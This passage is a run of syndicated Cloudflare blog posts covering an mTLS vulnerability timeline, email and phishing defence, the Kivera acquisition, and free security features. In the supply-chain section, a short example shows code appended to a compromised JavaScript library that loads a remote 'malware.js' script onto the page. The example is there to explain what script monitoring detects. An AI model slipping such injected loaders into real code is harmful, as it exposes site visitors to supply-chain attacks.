Finally, we want to apologize to our mTLS customers. Security is at the core of everything we do at Cloudflare, and we deeply regret any concerns this issue may have caused. We have taken immediate steps to resolve the vulnerability and have implemented additional safeguards to prevent similar issues in the future. 

Timeline 

All timestamps are in UTC

  • 2025-01-23 15:40 – Cloudflare is notified of a vulnerability in Mutual TLS and the use of session resumption.

  • 2025-01-23 16:02 to 21:06 – Cloudflare validates Mutual TLS vulnerability and prepares a release to disable session resumption for Mutual TLS.

  • 2025-01-23 21:26 – Cloudflare begins rollout of remediation.

  • 2025-01-24 20:15 – Rollout completed. Vulnerability is remediated.

The role of email security in reducing user risk amid rising threats

Post Syndicated from Ayush Kumar original https://blog.cloudflare.com/the-role-of-email-security-in-reducing-user-risk-amid-rising-threats/

Phishing remains one of the most dangerous and persistent cyber threats for individuals and organizations. Modern attacks use a growing arsenal of deceptive techniques that bypass traditional secure email gateways (SEGs) and email authentication measures, targeting organizations, employees, and vendors. From business email compromise (BEC) to QR phishing and account takeovers, these threats are designed to exploit weaknesses across multiple communication channels, including email, Slack, Teams, SMS, and cloud drives.

Phishing remains the most popular attack vector for bad actors looking to gain unauthorized access or extract fraudulent payment, and it is estimated that 90% of all attacks start with a phishing email. However, as companies have shifted to using a multitude of apps to support communication and collaboration, attackers too have evolved their approach. Attackers now engage employees across a combination of channels in an attempt to build trust and pivot targeted users to less-secure apps and devices. Cloudflare is uniquely positioned to address this trend thanks to our integrated Zero Trust services, extensive visibility from protecting approximately 20% of all websites, and signals derived from processing billions of email messages a year.

Cloudflare recognizes that combating phishing requires an integrated approach and a more complete view of user-based risk. That’s why we’ve designed our email security solution to protect organizations before, during, and after message delivery, while also extending protection beyond email into the broader security ecosystem. Phishing is no longer just an email problem — it’s a multi-channel, cross-application threat.

Assessing holistic user risk

When it comes to protecting against user-based threats, Cloudflare employs a platform approach to security. Instead of forcing customers to rely on an array of fragmented tools that create unnecessary complexity and blind spots, we treat email security as part of an overall strategy for assessing and responding to user-related risk. Our email security solution works in tandem with our network solutions so that SOC teams can quickly assert what actions their users are performing outside of email. Given our extensive network visibility, our platform is not limited by API integrations, and can provide SOC teams with the best visibility and protection. This helps SOC teams not only combat phishing, but begin to identify and take action against a wider range of insider threats.

Within a single, unified dashboard, SOC teams can quickly review detailed information regarding the following questions, which we discuss in more detail below: 

  1. Who in the organization is being targeted?

  2. Who are the attackers impersonating?

  3. What risky behaviors are my users performing?

Who in the organization is being targeted?


Within the Cloudflare dashboard, SOC teams can view which users are the most targeted. This can help them determine which accounts should be hardened (e.g. MFA enforced), and identify risky users that should be monitored more closely for significant deviations in behavior. One way organizations can use this information is to require high-risk users to connect from a managed device. For instance, if they use Crowdstrike, we can require that these users be on a managed device and force a posture check before letting them access sensitive applications. 

SOC teams can also dive into what types of attacks are hitting their users and at what frequency.


Customers can use these insights to adjust various platform policies, effectively blocking malicious content and securing sensitive resources. Above, we can see that attackers are frequently leveraging links to try to compromise users. Based on the link analysis we are seeing in email, SOC teams can use our gateway to block similar attacks, so that when attackers try to use other communication methods (LinkedIn, Teams, Slack, etc.) users will not be able to interact with those links.

To learn more about stopping these types of multichannel phishing attacks, please see our blog post, A wild week in phishing, and what it means for you.

Who are the attackers impersonating?


SOC teams can also get visibility into impersonation attempts within their email environment. Customers can see which users are being impersonated the most, and can use this information to build policies within our email security solution and broader set of Zero Trust services.

A list of frequently impersonated users can be added to the impersonation registry, which changes the sensitivity of our models to apply more scrutiny on messages coming from those users. 

Given our unique position as a domain name registrar, customers can also report lookalike domains to Cloudflare for action to be taken against them. This helps prevent attackers from being able to impersonate our customers and negatively impact their reputation. 

Finally, customers can also use our free DMARC management to track who is sending emails on their behalf. This information can be used to update SPF records and get customers to p=quarantine or p=reject so that their brand is more resistant to being spoofed. 

What risky behaviors are my users performing?

Cloudflare provides visibility into user actions in several ways. 

Within the email security solution, we can track internal messages and alert if we see any malicious or suspicious behaviors. This can be enhanced with our managed service offering, Phishguard, which can alert admins when they see any type of behavior that indicates fraud (like Business Email Compromise), account takeover, or insider threats.

SOC teams can also take advantage of our CASB solution to view the different actions that users have performed. Actions are labeled with different risk levels to let teams know which findings are critical and require remediation. 


Customers are also able to view data loss prevention (DLP) violations that users have incurred to see if there is any unauthorized egress of data. We provide the ability to automatically block this egress based on different policies within our platform, making sure there is no exfiltration of sensitive data.

We also enable organizations to put internal applications behind our Access solution. This prevents any users with improper permissions or a high risk level from accessing critical applications. Our dashboard then provides metrics on these logins to see how many failures we observed, so that SOC teams can investigate the user further. 


These signals feed into our Unified Risk Score, which can be exported if needed to take automated actions within other platforms.

Increasing SOC productivity

With all of our functionality unified within a single interface and fed by one data lake, we see an increase in SOC productivity because teams no longer have to spend time building rules or flipping between disparate interfaces and workflows. 

AI-driven email security

Unlike legacy secure email gateways, our email security solution is driven by predictive AI models which eliminate the need for creating and updating rules. These models are also more effective than reactive measures because they are fed by a massive volume of diverse data from across Cloudflare’s network. This means models are trained on emerging threats earlier and can identify new tactics with a higher accuracy than legacy systems. 

Automated isolation

To further reduce the risk posed by users visiting potentially malicious websites, customers can isolate browser sessions using our natively integrated, clientless remote browser that runs on our global network. Within an isolated browsing session, SOC teams can prohibit various behaviors such as copy/paste, upload/download, keyboard inputs, and more. This decreases the risk of users accessing a website and performing an action which could compromise the organization.


Our browser isolation solution also decreases the time SOC teams need to maintain policies. Rather than adding domains and applications one by one, teams can choose to isolate based on content categories. These categories are based on our threat intelligence, and are constantly updated. This means that as new websites emerge, SOC teams do not have to spend the time to chase down and update the proper policy — rather, it is done automatically. 


Automated blocking

While some websites might require running in an isolated browser to mitigate the risk of users encountering malicious content, others may need to be fully blocked altogether. Customers can use the same process listed above to block any website that could be risky for users based on tags. However, we allow admins to also provide feedback to users to increase awareness. This can be done via a custom block page that allows SOC teams to communicate with users about their risky behaviors, so that they take actions to curb this behavior in the future and alert their SOC teams to attacks that might be occurring. 

What’s on the horizon for 2025

In 2024, our email security team focused on refining the user interface and improving the incident investigation experience. Looking ahead to 2025, we plan to introduce additional capabilities that deepen the integration of our email security solution with our SASE platform, delivering enhanced insight and protection against user-based threats. 

Configurable browser isolation for email

Our Email Link Isolation feature currently applies to links we consider suspicious. However, we intend to allow customers to add customized configurations to meet their internal policies. This enhancement will provide more granular control over which websites users can access from an email message without using an isolated browser. 

Outbound DLP for email

We will be releasing an add-in for Microsoft Outlook that will allow customers to use our DLP engine for inspecting outbound email messages. This client-side application enables customers to configure downstream policies that trigger action when a DLP policy is violated, all while minimizing disruption to existing email infrastructure. 

Expanded user risk scoring

Cloudflare will be increasing the signals that feed into our user risk scores. This will enable SOC teams to create more policies within Cloudflare or to take automated actions externally based on the level of risk observed. 

These are just a few examples of significant releases that will be coming in 2025. Please stay tuned to the Cloudflare blog where we will be announcing these releases as they happen. 

Try Cloudflare Email Security today

We provide all organizations (whether a Cloudflare customer or not) with free access to our Retro Scan tool, allowing them to use our predictive AI models to scan existing inbox messages. Retro Scan will detect and highlight any threats found, enabling organizations to remediate them directly in their email accounts. With these insights, organizations can implement further controls, either using Cloudflare Email Security or their preferred solution, to prevent similar threats from reaching their inboxes in the future.

Cloudflare acquires Kivera to add simple, preventive cloud security to Cloudflare One

Post Syndicated from Noelle Kagan original https://blog.cloudflare.com/cloudflare-acquires-kivera

We’re excited to announce that Kivera, a cloud security, data protection, and compliance company, has joined Cloudflare. This acquisition extends our SASE portfolio to incorporate inline cloud app controls, empowering Cloudflare One customers with preventative security controls for all their cloud services.

In today’s digital landscape, cloud services and SaaS (software as a service) apps have become indispensable for the daily operation of organizations. At the same time, the amount of data flowing between organizations and their cloud providers has ballooned, increasing the chances of data leakage, compliance issues, and worse, opportunities for attackers. Additionally, many companies — especially at enterprise scale — are working directly with multiple cloud providers for flexibility based on the strengths, resiliency against outages or errors, and cost efficiencies of different clouds. 

Security teams that rely on Cloud Security Posture Management (CSPM) or similar tools for monitoring cloud configurations and permissions and Infrastructure as code (IaC) scanning are falling short due to detecting issues only after misconfigurations occur with an overwhelming volume of alerts. The combination of Kivera and Cloudflare One puts preventive controls directly into the deployment process, or ‘inline’, blocking errors before they happen. This offers a proactive approach essential to protecting cloud infrastructure from evolving cyber threats, maintaining data security, and accelerating compliance. 

An early warning system for cloud security risks 

In a significant leap forward in cloud security, the combination of Kivera’s technology and Cloudflare One adds preventive, inline controls to enforce secure configurations for cloud resources. By inspecting cloud API traffic, these new capabilities equip organizations with enhanced visibility and granular controls, allowing for a proactive approach in mitigating risks, managing cloud security posture, and embracing a streamlined DevOps process when deploying cloud infrastructure.

Kivera will add the following capabilities to Cloudflare’s SASE platform:

  • One-click security: Customers benefit from immediate prevention of the most common cloud breaches caused by misconfigurations, such as accidentally allowing public access or policy inconsistencies.

  • Enforced cloud tenant control: Companies can easily draw boundaries around their cloud resources and tenants to ensure that sensitive data stays within their organization. 

  • Prevent data exfiltration: Easily set rules to prevent data being sent to unauthorized locations.

  • Reduce ‘shadow’ cloud infrastructure: Ensure that every interaction between a customer and their cloud provider is in line with preset standards. 

  • Streamline cloud security compliance: Customers can automatically assess and enforce compliance against the most common regulatory frameworks.

  • Flexible DevOps model: Enforce bespoke controls independent of public cloud setup and deployment tools, minimizing the layers of lock-in between an organization and a cloud provider.

  • Complementing other cloud security tools: Create a first line of defense for cloud deployment errors, reducing the volume of alerts for customers also using CSPM tools or Cloud Native Application Protection Platforms (CNAPPs). 


An intelligent proxy that uses a policy-based approach to
enforce secure configuration of cloud resources.

Better together with Cloudflare One

As a SASE platform, Cloudflare One ensures safe access and provides data controls for cloud and SaaS apps. This integration broadens the scope of Cloudflare’s SASE platform beyond user-facing applications to incorporate increased cloud security through proactive configuration management of infrastructure services, beyond what CSPM and CASB solutions provide. With the addition of Kivera to Cloudflare One, customers now have a unified platform for all their inline protections, including cloud control, access management, and threat and data protection. All of these features are available with single-pass inspection, which is 50% faster than Secure Web Gateway (SWG) alternatives.  

With the earlier acquisition of BastionZero, a Zero Trust infrastructure access company, Cloudflare One expanded the scope of its VPN replacement solution to cover infrastructure resources as easily as it does apps and networks. Together Kivera and BastionZero enable centralized security management across hybrid IT environments, and provide a modern DevOps-friendly way to help enterprises connect and protect their hybrid infrastructure with Zero Trust best practices.

Beyond its SASE capabilities, Cloudflare One is integral to Cloudflare’s connectivity cloud, enabling organizations to consolidate IT security tools on a single platform. This simplifies secure access to resources, from developer privileged access to technical infrastructure and expanding cloud services. As Forrester echoes, “Cloudflare is a good choice for enterprise prospects seeking a high-performance, low-maintenance, DevOps-oriented solution.”

The growing threat of cloud misconfigurations

The cloud has become a prime target for cyberattacks. According to the 2023 Cloud Risk Report, CrowdStrike observed a 95% increase in cloud exploitation from 2021 to 2022, with a staggering 288% jump in cases involving threat actors directly targeting the cloud.

Misconfigurations in cloud infrastructure settings, such as improperly set security parameters and default access controls, provide adversaries with an easy path to infiltrate the cloud. According to the 2023 Thales Global Cloud Security Study, which surveyed nearly 3,000 IT and security professionals from 18 countries, 44% of respondents reported experiencing a data breach, with misconfigurations and human error identified as the leading cause, accounting for 31% of the incidents.

Further, according to GartnerⓇ, “Through 2027, 99% of records compromised in cloud environments will be the result of user misconfigurations and account compromise, not the result of an issue with the cloud provider.”1

Several factors contribute to the rise of cloud misconfigurations:

  • Rapid adoption of cloud services: Leaders are often driven by the scalability, cost-efficiency, and ability to support remote work and real-time collaboration that cloud services offer. These factors enable rapid adoption of cloud services which can lead to unintentional misconfigurations as IT teams struggle to keep up with the pace and complexity of these services. 

  • Complexity of cloud environments: Cloud infrastructure can be highly complex with multiple services and configurations to manage. For example, AWS alone offers 373 services with 15,617 actions and 140,000+ parameters, making it challenging for IT teams to manage settings accurately. 

  • Decentralized management: In large organizations, cloud infrastructure resources are often managed by multiple teams or departments. Without centralized oversight, inconsistent security policies and configurations can arise, increasing the risk of misconfigurations.

  • Continuous Integration and Continuous Deployment (CI/CD): CI/CD pipelines promote the ability to rapidly deploy, change and frequently update infrastructure. With this velocity comes the increased risk of misconfigurations when changes are not properly managed and reviewed.

  • Insufficient training and awareness: Employees may lack the cross-functional skills needed for cloud security, such as understanding networks, identity, and service configurations. This knowledge gap can lead to mistakes and increases the risk of misconfigurations that compromise security.

Common exploitation methods 

Threat actors exploit cloud services through various means, including targeting misconfigurations, abusing privileges, and bypassing encryption. Misconfigurations such as exposed storage buckets or improperly secured APIs offer attackers easy access to sensitive data and resources. Privilege abuse occurs when attackers gain unauthorized access through compromised credentials or poorly managed identity and access management (IAM) policies, allowing them to escalate their access and move laterally within the cloud environment. Additionally, unencrypted data enables attackers to intercept and decrypt data in transit or at rest, further compromising the integrity and confidentiality of sensitive information.

Here are some other vulnerabilities that organizations should address: 

  • Unrestricted access to cloud tenants: Allowing unrestricted access exposes cloud platforms to data exfiltration by malicious actors. Limiting access to approved tenants with specific IP addresses and service destinations helps prevent unauthorized access.

  • Exposed access keys: Exposed access keys can be exploited by unauthorized parties to steal or delete data. Requiring encryption for the access keys and restricting their usage can mitigate this risk.

  • Excessive account permissions: Granting excessive privileges to cloud accounts increases the potential impact of security breaches. Limiting permissions to necessary operations helps prevent lateral movement and privilege escalation by threat actors.

  • Inadequate network segmentation: Poorly managed network security groups and insufficient segmentation practices can allow attackers to move freely within cloud environments. Drawing boundaries around your cloud resources and tenants ensures that data stays within your organization.

  • Improper public access configuration: Incorrectly exposing critical services or storage resources to the internet increases the likelihood of unauthorized access and data compromise. Preventing public access drastically reduces risk.

  • Shadow cloud infrastructure: Abandoned or neglected cloud instances are often left vulnerable to exploitation, providing attackers with opportunities to access sensitive data left behind. Preventing untagged or unapproved cloud resources to be created can reduce the risk of exposure.

Limitations of existing tools 

Many organizations turn to CSPM tools to give them more visibility into cloud misconfigurations. These tools often alert teams after an issue occurs, putting security teams in a reactive mode. Remediation efforts require collaboration between security teams and developers to implement changes, which can be time-consuming and resource-intensive. This approach not only delays issue resolution but also exposes companies to compliance and legal risks, while failing to train employees on secure cloud practices. On average, it takes 207 days to identify these breaches and an additional 70 days to contain them. 

Addressing the growing threat of cloud misconfigurations requires proactive security measures and continuous monitoring. Organizations must adopt proactive security solutions that not only detect and alert but also prevent misconfigurations from occuring in the first place and enforce best practices. Creating a first line of defense for cloud deployment errors reduces the volume of alerts for customers, especially those also using CSPM tools or CNAPPs. 

By implementing these proactive strategies, organizations can safeguard their cloud environments against the evolving landscape of cyber threats, ensuring robust security and compliance while minimizing risks and operational disruptions.

What’s next for Kivera

The Kivera product will not be a point solution add-on. We’re making it a core part of our Cloudflare One offering because integrating features from products like our Secure Web Gateway give customers a comprehensive solution that works better together.

We’re excited to welcome Kivera to the Cloudflare team. Through the end of 2024 and into early 2025, Kivera’s team will focus on integrating their preventive inline cloud app controls directly into Cloudflare One. We are looking for early access testers and teams to provide feedback about what they would like to see. If you’d like early access, please join the waitlist.

[1] Source: Outcome-Driven Metrics You Can Use to Evaluate Cloud Security Controls, Gartner, Charlie Winckless, Paul Proctor, Manuel Acosta, 09/28/2023 

GARTNER is a registered trademark and service mark of Gartner, Inc. and/or its affiliates in the U.S. and internationally and is used herein with permission. All rights reserved.

A safer Internet with Cloudflare: free threat intelligence, analytics, and new threat detections

Post Syndicated from Michael Tremante original https://blog.cloudflare.com/a-safer-internet-with-cloudflare

Anyone using the Internet likely touches Cloudflare’s network on a daily basis, either by accessing a site protected by Cloudflare, using our 1.1.1.1 resolver, or connecting via a network using our Cloudflare One products.

This puts Cloudflare in a position of great responsibility to make the Internet safer for billions of users worldwide. Today we are providing threat intelligence and more than 10 new security features for free to all of our customers. Whether you are using Cloudflare to protect your website, your home network, or your office, you will find something useful that you can start using with just a few clicks.

These features are focused around some of the largest growing concerns in cybersecurity, including account takeover attacks, supply chain attacks, attacks against API endpoints, network visibility, and data leaks from your network.

More security for everyone

You can read more about each one of these features in the sections below, but we wanted to provide a short summary upfront.

If you are a cyber security enthusiast: you can head over to our new Cloudforce One threat intelligence website to find out about threat actors, attack campaigns, and other Internet-wide security issues.

If you are a website owner: starting today, all free plans will get access to Security Analytics for their zones. Additionally, we are also making DNS Analytics available to everyone via GraphQL.

Once you have visibility, it’s all about distinguishing good from malicious traffic. All customers get access to always-on account takeover attack detection, API schema validation to enforce a positive security model on their API endpoints, and Page Shield script monitor to provide visibility into the third party assets that you are loading from your side and that could be used to perform supply chain-based attacks.

If you are using Cloudflare to protect your people and network: We are going to bundle a number of our Cloudflare One products into a new free offering. This bundle will include the current Zero Trust products we offer for free, and new products like Magic Network Monitoring for network visibility, Data Loss Prevention for sensitive data, and Digital Experience Monitoring for measuring network connectivity and performance. Cloudflare is the only vendor to offer free versions of these types of products.

If you are a new user: We have new options for authentication. Starting today, we are introducing the option to use Google Authentication to sign up and log into Cloudflare, which will make it easier for some of our customers to login, and reduce dependence on remembering passwords, consequently reducing the risk of their Cloudflare account becoming compromised.

And now in more detail:

Threat Intelligence & Analytics

Cloudforce One

Our threat research and operations team, Cloudforce One, is excited to announce the launch of a freely accessible dedicated threat intelligence website. We will use this site to publish both technical and executive-oriented information on the latest threat actor activity and tactics, as well as insights on emerging malware, vulnerabilities, and attacks.

We are also publishing two new pieces of threat intelligence, along with a promise for more. Head over to the new website here to see the latest research, covering an advanced threat actor targeting regional organizations across South and East Asia, as well as the rise of double brokering freight fraud. Future research and data sets will also become available as a new Custom Indicator Feed for customers.

Subscribe to receive email notifications of future threat research.

Security Analytics

Security Analytics gives you a security lens across all of your HTTP traffic, not only mitigated requests, allowing you to focus on what matters most: traffic deemed malicious but potentially not mitigated. This means that, in addition to using Security Events to view security actions taken by our Application Security suite of products, you can use Security Analytics to review all of your traffic for anomalies or strange behavior and then use the insights gained to craft precise mitigation rules based on your specific traffic patterns. Starting today, we are making this lens available to customers across all plans.

Free and Pro plan users will now have access to a new dashboard for Security Analytics where you can view a high level overview of your traffic in the Traffic Analysis chart, including the ability to group and filter so that you can zero in on anomalies with ease. You can also see top statistics and filter across a variety of dimensions, including countries, source browsers, source operating systems, HTTP versions, SSL protocol version, cache status, and security actions.


DNS Analytics

Every user on Cloudflare now has access to the new and improved DNS Analytics dashboard as well as access to the new DNS Analytics dataset in our powerful GraphQL API. Now, you can easily analyze the DNS queries to your domain(s), which can be useful for troubleshooting issues, detecting patterns and trends, or generating usage reports by applying powerful filters and breaking out DNS queries by source.

With the launch of Foundation DNS, we introduced new DNS Analytics based on GraphQL, but these analytics were previously only available for zones using advanced nameservers. However, due to the deep insight these analytics provide, we felt this feature was something we should make available to everyone. Starting today, the new DNS Analytics based on GraphQL can be accessed on every zone using Cloudflare’s Authoritative DNS service under Analytics in the DNS section.


Application threat detection and mitigation

Account takeover detection

65% of Internet users are vulnerable to account takeover (ATO) due to password reuse and the rising frequency of large data breaches. Helping build a better Internet involves making critical account protection easy and accessible for everyone.

Starting today, we’re providing robust account security that helps prevent credential stuffing and other ATO attacks to everyone for free — from individual users to large enterprises — making enhanced features like Leaked Credential Checks and ATO detections available at no cost. 

These updates include automatic detection of logins, brute force attack prevention with minimal setup, and access to a comprehensive leaked credentials database of over 15 billion passwords which will contain leaked passwords from the Have I been Pwned (HIBP) service in addition to our own database. Customers can take action on the leaked credential requests through Cloudflare’s WAF features like Rate Limiting Rules and Custom Rules, or they can take action at the origin by enforcing multi-factor authentication (MFA) or requiring a password reset based on a header sent to the origin.

Setup is simple: Free plan users get automatic detections, while paid users can activate the new features via one click in the Cloudflare dashboard. For more details on setup and configuration, refer to our documentation and use it today!

API schema validation

API traffic comprises more than half of the dynamic traffic on the Cloudflare network. The popularity of APIs has opened up a whole new set of attack vectors. Cloudflare API Shield’s Schema Validation is the first step to strengthen your API security in the face of these new threats.

Now for the first time, any Cloudflare customer can use Schema Validation to ensure only valid requests to their API make it through to their origin.

This functionality stops accidental information disclosure due to bugs, stops developers from haphazardly exposing endpoints through a non-standard process, and automatically blocks zombie APIs as your API inventory is kept up-to-date as part of your CI/CD process.


We suggest you use Cloudflare’s API or Terraform provider to add endpoints to Cloudflare API Shield and update the schema after your code’s been released as part of your post-build CI/CD process. That way, API Shield becomes a go-to API inventory tool, and Schema Validation will take care of requests towards your API that you aren’t expecting.

While APIs are all about integrating with third parties, sometimes integrations are done by loading libraries directly into your application. Next up, we’re helping secure more of the web by protecting users from malicious third party scripts that steal sensitive information from inputs on your pages.

Supply chain attack prevention

Modern web apps improve their users’ experiences and cut down on developer time through the use of third party JavaScript libraries. Because of its privileged access level to everything on the page, a compromised third party JavaScript library can surreptitiously exfiltrate sensitive information to an attacker without the end user or site administrator realizing it’s happened.

To counter this threat, we introduced Page Shield three years ago. We are now releasing Page Shield’s Script Monitor for free to all our users.


With Script Monitor, you’ll see all JavaScript assets loaded on the page, not just the ones your developers included. This visibility includes scripts dynamically loaded by other scripts! Once an attacker compromises the library, it is trivial to add a new malicious script without changing the context of the original HTML by instead including new code in the existing included JavaScript asset:

// Original library code (trusted)
function someLibraryFunction() {
    // useful functionality here
}

// Malicious code added by the attacker
let malScript = document.createElement('script');
malScript.src = 'https://example.com/malware.js';
document.body.appendChild(malScript);

Script Monitor was essential when the news broke of the pollyfill.io library changing ownership. Script Monitor users had immediate visibility to the scripts loaded on their sites and could quickly and easily understand if they were at risk.

We’re happy to extend visibility of these scripts to as much of the web as we can by releasing Script Monitor for all customers. Find out how you can get started here in the docs.

Existing users of Page Shield can immediately filter on the monitored data, knowing whether polyfill.io (or any other library) is used by their app. In addition, we built a polyfill.io rewrite in response to the compromised service, which was automatically enabled for Free plans in June 2024.

Turnstile as a Google Firebase extension 

We’re excited to announce the Cloudflare Turnstile App Check Provider for Google Firebase, which offers seamless integration without the need for manual setup. This new extension allows developers building mobile or web applications on Firebase to protect their projects from bots using Cloudflare’s CAPTCHA alternative. By leveraging Turnstile’s bot detection and challenge capabilities, you can ensure that only authentic human visitors interact with your Firebase backend services, enhancing both security and user experience. Cloudflare Turnstile, a privacy-focused CAPTCHA alternative, differentiates between humans and bots without disrupting the user experience. Unlike traditional CAPTCHA solutions, which users often abandon, Turnstile operates invisibly and provides various modes to ensure frictionless user interactions.

The Firebase App Check extension for Turnstile is easy to integrate, allowing developers to quickly enhance app security with minimal setup. This extension is also free with unlimited usage with Turnstile’s free tier. By combining the strengths of Google Firebase’s backend services and Cloudflare’s Turnstile, developers can offer a secure and seamless experience for their users. 

Cloudflare One

Cloudflare One is a comprehensive Secure Access Service Edge (SASE) platform designed to protect and connect people, apps, devices, and networks across the Internet. It combines services such as Zero Trust Network Access (ZTNA), Secure Web Gateway (SWG), and more into a single solution. Cloudflare One can help everyone secure people and networks, manage access control, protect against cyber threats, safeguard their data, and improve the performance of network traffic by routing it through Cloudflare’s global network. It replaces traditional security measures by offering a cloud-based approach to secure and streamline access to corporate resources.

Everyone now has free access to four new products that have been added to Cloudflare One over the past two years:

This is in addition to the existing network security products already in the Cloudflare One platform:

  • Access for verifying users’ identity and only letting them use the applications they’re meant to be using.

  • Gateway for protecting network traffic that both goes out to the public Internet and into your private network.

  • Cloudflare Tunnel, our app connectors, which includes both cloudflared and WARP Connector for connecting different applications, servers, and private networks to Cloudflare’s network.

  • Cloudflare WARP, our device agent, for securely sending traffic from a laptop or mobile device to the Internet.

Anyone with a Cloudflare account will automatically receive 50 free seats across all of these products in their Cloudflare One organization. Visit our Zero Trust & SASE plans page for more information about our free products and to learn about our Pay-as-you-go and Contract plans for teams above 50 members.

Authenticating with Google

The Cloudflare dashboard itself has become a vital resource that needs to be protected, and we spend a lot of time ensuring Cloudflare user accounts do not get compromised.

To do this, we have increased security by adding additional authentication methods including app-based two-factor authentication (2FA), passkeys, SSO, and Sign in with Apple. Today we’re adding the ability to sign up and sign in with a Google account.

Cloudflare supports several authentication workflows tailored to different use cases. While SSO and passkeys are the preferred and most secure methods of authentication, we believe that providing authentication factors that are stronger than passwords will fill a gap and raise overall average security for our users. Signing in with Google makes life easier for our users and prevents them from having to remember yet another password when they’re already browsing the web with a Google identity.

Sign in with Google is based on the OAuth 2.0 specification, and allows Google to securely share identifying information about a given identity while ensuring that it is Google providing this information, preventing any malicious entities from impersonating Google.

This means that we can delegate authentication to Google, preventing zero knowledge attacks directly on this Cloudflare identity.

Upon coming to the Cloudflare Sign In page, you will be presented with the button below. Clicking on it will allow you to register for Cloudflare, and once you are registered, it will allow you to sign in without typing in a password, using any existing protections you have set on your Google account.

With the launch of this capability, Cloudflare now uses its own Cloudflare Workers to provide an abstraction layer for OIDC-compatible identity providers (such as GitHub and Microsoft accounts), which means our users can expect to see more identity provider (IdP) connection support coming in the future.

At this time, only new customers signing up with Google will be able to sign in with their Google account, but we will be implementing this for more of our users going forward, with the ability to link/de-link social login providers, and we will be adding additional social login methods. Enterprise users with an established SSO setup will not be able to use this method at this time, and those with an established SSO setup based on Google Workspace will be forwarded to their SSO flow, as we consider how to streamline the Access and IdP policies that have been set up to lock down your Cloudflare environment.

If you are new to Cloudflare, and have a Google account, it is easier than ever to start using Cloudflare to protect your websites, build a new service, or try any of the other services that Cloudflare provides.

A safer Internet

One of Cloudflare’s goals has always been to democratize cyber security tools, so everyone can provide content and connect to the Internet safely, even without the resources of large enterprise organizations.

We have decided to provide a large set of new features for free to all Cloudflare users, covering a wide range of security use cases, for web administrators, network administrators, and cyber security enthusiasts.

Log in to your Cloudflare account to start taking advantage of these announcements today. We love feedback on our community forums, and we commit to improving both existing features and new features moving forward.

Watch on Cloudflare TV

A wild week in phishing, and what it means for you

Post Syndicated from Pete Pang original https://blog.cloudflare.com/a-wild-week-in-phishing-and-what-it-means-for-you


Being a bad guy on the Internet is a really good business. In more than 90% of cybersecurity incidents, phishing is the root cause of the attack, and during this third week of August phishing attacks were reported against the U.S. elections, in the geopolitical conflict between the U.S., Israel, and Iran, and to cause $60M in corporate losses.

You might think that after 30 years of email being the top vector for attack and risk we are helpless to do anything about it, but that would be giving too much credit to bad actors, and a misunderstanding of how defenders focused on detections can take control and win.

Phishing isn’t about email exclusively, or any specific protocol for that matter. Simply put, it is an attempt to get a person, like you or me, to take an action that unwittingly leads to damages. These attacks work because they appear to be authentic, visually or organizationally, such as pretending to be the CEO or CFO of your company, and when you break it down they are three main attack vectors that Cloudflare has seen most impactful from the bad emails we protect our customers from: 1. Clicking links (deceptive links are 35.6% of threat indicators) 2. Downloading files or malware  (malicious attachments are 1.9% of threat indicators) 3. Business email compromise (BEC) phishing that elicits money or intellectual property with no links or files (0.5% of threat indicators).

Today, we at Cloudflare see an increase in what we’ve termed multi-channel phishing. What other channels are there to send links, files and elicit BEC actions? There’s SMS (text messaging) and public and private messaging applications, which are increasingly common attack vectors that take advantage of the ability to send links over those channels, and also how people consume information and work. There’s cloud collaboration, where attackers rely on links, files, and BEC phishing on commonly used collaboration tools like Google Workspace, Atlassian, and Microsoft Office 365. And finally, there’s web and social phishing targeting people on LinkedIn and X. Ultimately, any attempt to stop phishing needs to be comprehensive enough to detect and protect against these different vectors.

Learn more about these technologies and products here

A real example

It’s one thing to tell you this, but we’d love to give you an example of how a multi-channel phish plays out with a sophisticated attacker.

Here’s an email message that an executive notices is in their junk folder. That’s because our Email Security product noticed there’s something off about it and moved it there, but it relates to a project the executive is working on, so the executive thinks it’s legitimate. There’s a request for a company org chart, and the attacker knows that this is the kind of thing that’s going to be caught if they continue on email, so they include a link to a real Google form:

  • The executive clicks the link, and because it is a legitimate Google form, it displays the following:
  • There’s a request to upload the org chart here, and that’s what they try to do:
  • The executive drags it in, but it doesn’t finish uploading because in the document there is an “internal only” watermark that our Gateway and digital loss prevention (DLP) engine detected, which in turn prevented the upload.
  • Sophisticated attackers use urgency to drive better outcomes. Here, the attackers know the executive has an upcoming deadline for the consultant to report back to the CEO. Unable to upload the document, they respond back to the attacker. The attacker suggests that they try another method of upload or, in the worst case scenario, send the document on WhatsApp.
  • The executive attempts to upload the org chart to the website they were provided in the second email, not knowing that this site would have loaded malware, but because it was loaded in Cloudflare’s Browser Isolation, it kept the executive’s device safe. Most importantly, when trying to upload sensitive company documents, the action is stopped again:
  • Finally they try WhatsApp, and again, we block it:

Ease of use

Setting up a security solution and maintaining it is critical to long term protection. However, having IT administration teams constantly tweak each product, configuration, and monitor each users’ needs is not only costly but risky as well, as it puts a large amount of overhead on these teams.

Protecting the executive in the example above required just four steps:

  1. Install and login to Cloudflare’s device agent for protection

With just a few clicks, anyone with the device agent client can be protected against multi-channel phish, making it easy for end users and administrators. For organizations that don’t allow clients to be installed, an agentless deployment is also available.  

2.  Configure policies that apply to all your user traffic routed through our secure web gateway. These policies can block access outright to high risk sites, such as those known to participate in phishing campaigns. For sites that may be suspicious, such as newly registered domains, isolated browser access allows users to access the website, but limits their interaction.

The executive was also unable to upload the org chart to a free cloud storage service because their organization is using Cloudflare One’s Gateway and Browser Isolation solutions that were configured to load any free cloud storage websites in a remote isolated environment, which not only prevented the upload but also removed the ability to copy and paste information as well.

Also, while the executive was able to converse with the bad actor over WhatsApp, their files were blocked because of Cloudflare One’s Gateway solution, configured by the administrator to block all uploads and downloads on WhatsApp.

3.  Set up DLP policies based on what shouldn’t be uploaded, typed, or copied and pasted.

The executive was unable to upload the org chart to the Google form because the organization is using Cloudflare One’s Gateway and DLP solutions. This protection is implemented by configuring Gateway to block any DLP infraction, even on a valid website like Google.

4.  Deploy Email Security and set up auto-move rules based on the types of emails detected.

In the example above, the executive never received any of the multiple malicious emails that were sent to them because Cloudflare’s Email Security was protecting their inbox. The phishing emails that did arrive were put into their Junk folder because the email was impersonating someone that didn’t match the signature in the email, and the configuration in Email Security automatically moved it there because of a one-click configuration set by the executive’s IT administrator.

But even with best-in-class detections, it goes without saying that it is important to have the ability to drill down on any metric to learn about individual users that are being impacted by an ongoing attack. Below is a mockup of our upcoming improved email security monitoring dashboard.

What’s next

